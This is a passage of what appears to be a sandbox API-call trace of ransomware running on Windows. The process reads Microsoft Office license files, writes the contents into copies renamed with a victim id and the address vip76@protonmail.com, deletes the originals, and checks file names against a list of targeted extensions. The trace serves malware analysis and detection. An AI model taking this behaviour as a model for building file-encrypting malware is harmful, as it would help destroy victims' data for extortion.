	[0200.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0200.025] GetFileSizeEx (in: hFile=0x5d8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=11674) returned 1
	[0200.025] CloseHandle (hObject=0x5d8) returned 1
	[0200.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220
	[0200.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0200.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0200.026] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.026] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0200.027] GetLastError () returned 0x0
	[0200.027] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x2d9a, lpOverlapped=0x0) returned 1
	[0200.029] WriteFile (in: hFile=0x368, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x2da0, lpOverlapped=0x0) returned 1
	[0200.030] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0200.030] WriteFile (in: hFile=0x368, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x130, lpOverlapped=0x0) returned 1
	[0200.030] SetEndOfFile (hFile=0x368) returned 1
	[0200.030] CloseHandle (hObject=0x368) returned 1
	[0200.030] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.030] SetEndOfFile (hFile=0x5d8) returned 1
	[0200.033] CloseHandle (hObject=0x5d8) returned 1
	[0200.033] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0200.035] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ul-oob.xrm-ms")) returned 1
	[0200.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0200.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0200.036] lstrlenW (lpString=".doc") returned 4
	[0200.036] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.036] lstrlenW (lpString=".docx") returned 5
	[0200.036] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.036] lstrlenW (lpString=".pdf") returned 4
	[0200.036] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.036] lstrlenW (lpString=".xls") returned 4
	[0200.036] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.036] lstrlenW (lpString=".xlsx") returned 5
	[0200.036] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.036] lstrlenW (lpString=".ppt") returned 4
	[0200.036] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0200.036] lstrlenW (lpString=".zip") returned 4
	[0200.036] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.036] lstrlenW (lpString=".rar") returned 4
	[0200.036] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.036] lstrlenW (lpString=".bz2") returned 4
	[0200.036] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.036] lstrlenW (lpString=".7z") returned 3
	[0200.036] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0200.036] lstrlenW (lpString=".dbf") returned 4
	[0200.036] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0200.036] lstrlenW (lpString=".1cd") returned 4
	[0200.036] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0200.036] lstrlenW (lpString=".jpg") returned 4
	[0200.036] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0200.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0200.037] lstrlenW (lpString=".doc") returned 4
	[0200.037] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.037] lstrlenW (lpString=".docx") returned 5
	[0200.037] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.037] lstrlenW (lpString=".pdf") returned 4
	[0200.037] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.037] lstrlenW (lpString=".xls") returned 4
	[0200.037] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.037] lstrlenW (lpString=".xlsx") returned 5
	[0200.037] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.037] lstrlenW (lpString=".ppt") returned 4
	[0200.037] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0200.037] lstrlenW (lpString=".zip") returned 4
	[0200.037] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.037] lstrlenW (lpString=".rar") returned 4
	[0200.037] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.037] lstrlenW (lpString=".bz2") returned 4
	[0200.037] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.037] lstrlenW (lpString=".7z") returned 3
	[0200.037] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0200.037] lstrlenW (lpString=".dbf") returned 4
	[0200.037] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0200.037] lstrlenW (lpString=".1cd") returned 4
	[0200.037] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0200.038] lstrlenW (lpString=".jpg") returned 4
	[0200.038] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.038] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0200.038] lstrlenW (lpString="O365HomePremR_Grace-ppd.xrm-ms") returned 30
	[0200.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0200.039] GetFileSizeEx (in: hFile=0x5d8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=23068) returned 1
	[0200.039] CloseHandle (hObject=0x5d8) returned 1
	[0200.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ppd.xrm-ms")) returned 0x220
	[0200.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0200.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0200.039] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.039] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0200.041] GetLastError () returned 0x0
	[0200.041] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x5a1c, lpOverlapped=0x0) returned 1
	[0200.043] WriteFile (in: hFile=0x368, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x5a20, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x5a20, lpOverlapped=0x0) returned 1
	[0200.045] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0200.045] WriteFile (in: hFile=0x368, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x110, lpOverlapped=0x0) returned 1
	[0200.045] SetEndOfFile (hFile=0x368) returned 1
	[0200.045] CloseHandle (hObject=0x368) returned 1
	[0200.045] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.045] SetEndOfFile (hFile=0x5d8) returned 1
	[0200.048] CloseHandle (hObject=0x5d8) returned 1
	[0200.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0200.049] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ppd.xrm-ms")) returned 1
	[0200.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80
	[0200.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80
	[0200.050] lstrlenW (lpString=".doc") returned 4
	[0200.050] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.050] lstrlenW (lpString=".docx") returned 5
	[0200.050] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.050] lstrlenW (lpString=".pdf") returned 4
	[0200.050] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.050] lstrlenW (lpString=".xls") returned 4
	[0200.050] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.050] lstrlenW (lpString=".xlsx") returned 5
	[0200.050] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.050] lstrlenW (lpString=".ppt") returned 4
	[0200.050] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80
	[0200.050] lstrlenW (lpString=".zip") returned 4
	[0200.050] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.050] lstrlenW (lpString=".rar") returned 4
	[0200.050] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.050] lstrlenW (lpString=".bz2") returned 4
	[0200.050] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.050] lstrlenW (lpString=".7z") returned 3
	[0200.050] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80
	[0200.050] lstrlenW (lpString=".dbf") returned 4
	[0200.050] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80
	[0200.050] lstrlenW (lpString=".1cd") returned 4
	[0200.050] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80
	[0200.050] lstrlenW (lpString=".jpg") returned 4
	[0200.050] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80
	[0200.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80
	[0200.051] lstrlenW (lpString=".doc") returned 4
	[0200.051] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.051] lstrlenW (lpString=".docx") returned 5
	[0200.051] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.051] lstrlenW (lpString=".pdf") returned 4
	[0200.051] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.051] lstrlenW (lpString=".xls") returned 4
	[0200.051] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.051] lstrlenW (lpString=".xlsx") returned 5
	[0200.051] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.051] lstrlenW (lpString=".ppt") returned 4
	[0200.051] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80
	[0200.051] lstrlenW (lpString=".zip") returned 4
	[0200.051] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.051] lstrlenW (lpString=".rar") returned 4
	[0200.051] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.051] lstrlenW (lpString=".bz2") returned 4
	[0200.051] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.051] lstrlenW (lpString=".7z") returned 3
	[0200.051] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80
	[0200.051] lstrlenW (lpString=".dbf") returned 4
	[0200.051] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80
	[0200.051] lstrlenW (lpString=".1cd") returned 4
	[0200.051] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80
	[0200.052] lstrlenW (lpString=".jpg") returned 4
	[0200.052] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.052] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0200.052] lstrlenW (lpString="O365HomePremR_Grace-ul-oob.xrm-ms") returned 33
	[0200.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0200.052] GetFileSizeEx (in: hFile=0x5d8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=11624) returned 1
	[0200.053] CloseHandle (hObject=0x5d8) returned 1
	[0200.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ul-oob.xrm-ms")) returned 0x220
	[0200.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0200.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0200.053] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.053] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0200.054] GetLastError () returned 0x0
	[0200.054] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x2d68, lpOverlapped=0x0) returned 1
	[0200.257] WriteFile (in: hFile=0x368, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0200.258] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0200.258] WriteFile (in: hFile=0x368, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x116, lpOverlapped=0x0) returned 1
	[0200.258] SetEndOfFile (hFile=0x368) returned 1
	[0200.258] CloseHandle (hObject=0x368) returned 1
	[0200.258] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.259] SetEndOfFile (hFile=0x5d8) returned 1
	[0200.266] CloseHandle (hObject=0x5d8) returned 1
	[0200.266] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0200.266] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ul-oob.xrm-ms")) returned 1
	[0200.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83
	[0200.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83
	[0200.267] lstrlenW (lpString=".doc") returned 4
	[0200.267] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.267] lstrlenW (lpString=".docx") returned 5
	[0200.267] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.267] lstrlenW (lpString=".pdf") returned 4
	[0200.267] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.267] lstrlenW (lpString=".xls") returned 4
	[0200.267] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.267] lstrlenW (lpString=".xlsx") returned 5
	[0200.267] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.267] lstrlenW (lpString=".ppt") returned 4
	[0200.267] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83
	[0200.267] lstrlenW (lpString=".zip") returned 4
	[0200.267] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.267] lstrlenW (lpString=".rar") returned 4
	[0200.268] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.268] lstrlenW (lpString=".bz2") returned 4
	[0200.268] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.268] lstrlenW (lpString=".7z") returned 3
	[0200.268] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83
	[0200.268] lstrlenW (lpString=".dbf") returned 4
	[0200.268] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83
	[0200.268] lstrlenW (lpString=".1cd") returned 4
	[0200.268] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83
	[0200.268] lstrlenW (lpString=".jpg") returned 4
	[0200.268] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83
	[0200.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83
	[0200.268] lstrlenW (lpString=".doc") returned 4
	[0200.268] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.268] lstrlenW (lpString=".docx") returned 5
	[0200.268] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.268] lstrlenW (lpString=".pdf") returned 4
	[0200.268] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.268] lstrlenW (lpString=".xls") returned 4
	[0200.268] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.268] lstrlenW (lpString=".xlsx") returned 5
	[0200.268] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.268] lstrlenW (lpString=".ppt") returned 4
	[0200.268] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83
	[0200.269] lstrlenW (lpString=".zip") returned 4
	[0200.269] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.269] lstrlenW (lpString=".rar") returned 4
